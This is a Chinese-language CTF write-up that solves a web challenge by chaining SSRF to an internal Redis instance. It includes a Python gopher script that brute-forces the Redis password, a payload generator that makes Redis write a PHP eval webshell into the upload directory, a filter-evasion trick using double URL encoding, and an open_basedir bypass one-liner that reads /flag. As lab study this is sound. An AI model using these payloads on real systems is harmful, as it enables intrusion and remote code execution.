0x00 前言
这是一题ctf赛题,身为一个不打ctf的废物之前看见ctf赛题都不怎么做,昨日朋友发来这题,正好之前研究过redis和ssrf的组合利用正好有点遗忘了所以借此机会重新温故一下学习学习
0x01 思路
打开链接来看一下这道题目
打开链接发现就是一个正常页面,没什么操作空间,dirsearch一把梭,扫一下目录
可以看到扫出了两可疑目录
一个个来访问一下
访问 /index.php/login
发现了题目是一段php代码
由于本人不会php代码审计只能简单的看一下,首先看到这里有一个if的判断语句,如果我们url的参数中有file就会return false (这个地方有个坑呜呜因为这里卡了很长时间
然后继续看下面的代码
curl_init() 下面的代码很熟悉呀,这不就是ssrf的漏洞测试代码吗,还有echo 美滋滋有回显的ssrf漏洞就有了呀,正常情况下没有过滤的ssrf 可以直接利用file协议进行任意文件读取,但是显然出题人不想让我们这么轻松的就获取到flag
通常情况下ssrf 和 redis 结合的情况非常多,之前dirsearch 又扫出来了upload目录,所以思路大概率是通过ssrf + redis的结合将我们的shell文件写入到upload的目录
然后刚开始的主页面又给了我们绝对路径
所以我们就可以知道我们upload 的目录位置为
/var/www/html/upload
既然思路都清晰了 那么就直接开始吧!
0x02 Getshell
首先利用ssrf扫描一下端口,直接利用http://127.0.0.1:6379看看就行,redis的默认端口是6379
如下图当我们请求6379的时候,浏览器会有明显的延迟
但是如果我们请求没有开启的端口就不会有这种现象,
所以我们现在也确认了redis的端口为6379
接下来就是查看一下内网的redis是未授权访问还是弱口令
这里我简单的编写了一个redis的爆破脚本
import requests
target = "http://183.129.189.61:52400/index.php?url=" # 请输入目标url
rhost = "127.0.0.1"
rport = "6379"
with open("/Users/wujialiang/Security/字典/密码/500-worst-passwords.txt","r+") as file:
passwds = file.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
len_pass = len(passwd)
payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
url = target+str(payload)
text = requests.get(url).text
if "OK" in text:
print("[+] 爆破成功 密码为: " + passwd)
print(text + payload)
break
可以看到爆破成功之后结果如下
burp 返回包
确认了密码之后我们就可以利用dict或者gopher协议来进行redis写shell
dict协议与gopher协议都可以但是两者有些许的不同就是dict在每次发送之后都会加上一个quit然而gopher协议则不会,所以通常情况我们可以利用gopher协议
redis写shell的原理我之前有写文章过就不再赘述了
这里我们直接使用exp来进行文件上传
#!/usr/bin/env python
# -*-coding:utf-8-*-
try:
from urllib import quote
except:
from urllib.parse import quote
import urllib
protocol="gopher://" # 使用的协议
ip="127.0.0.1"
port="6379" # 目标redis的端口号
# 23
shell="\n\n<?php eval($_POST['cmd']); ?>\n\n"
filename="cmd1.php" # shell的名字
path="/var/www/html/upload" # 写入的路径
passwd="123456" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print quote(payload)
# print payload
这里有一个坑,因为之前php中有一个if判断语句 如果检测到我们有file的话就会直接exit,这也是我之前很多次都没成功的原因,因为在redis写文件设置目录的时候需要用到
config set dbfilename /var/www/html/uplod
这个命令,但是这里的dbfilename中含有file
所以这里我们要对最终生成的poc中的file利用url二次编码替换掉
替换成 %2566%2569%256c%2565
ps:还有一个注意点,在ssrf 结合redis中 生成的payload需要进行两次url编码,因为当我们的payload 传递到后端的时候会进行一次解码,然后在内网中又会进行一次编码
然后直接在burp中发送即可
查看upload目录发现文件已经上传上去了
直接蚁剑进行连接
但是发现我们只能访问 /html下的目录
查看phpinfo发现设置中openbasedir将我们的操作只限制在了 /var/www/html下
0x03 open_basedir bypass
open_basedir
open_basedir 将php所能打开的文件限制在目录中,当php利用fopen等函数打开文件的时候,这个文件等位置会被检查是否处于open_basedir所限制的目录中
题目这里限制了 /var/www/html/ 这个目录下,代表着我们只能读取这个目录下的文件
open_basedir指定的限制实际上是字首,而不是目录名。
举例來說: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1″都是可以访问的
所以我们限制的时候要 open_basedir = /dir/user/ 设置
绕过
ini_set() 函数是用于修改php.ini 的配置文件
这时候我们就需要绕过,结合网上的文章(写的很详细)
https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/
我们可以利用
mkdir('KpLi0rn');chdir('KpLi0rn');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/flag");
来绕过,具体需要分析php底层代码呜呜奈何本人太菜,如果后续实力允许的话会补上
简单的来说就是我们通过创建文件夹就可以构造一个向上跳跃的open_basedir,由于相对路径的原因我们可以不断的往上跳跃
跳到最后我们的open_basedir就会被设置成了 / 这样我们再重新利用ini_Set就能将open_basedir设置到我们的根目录了,这样就可以读取到我们的flag了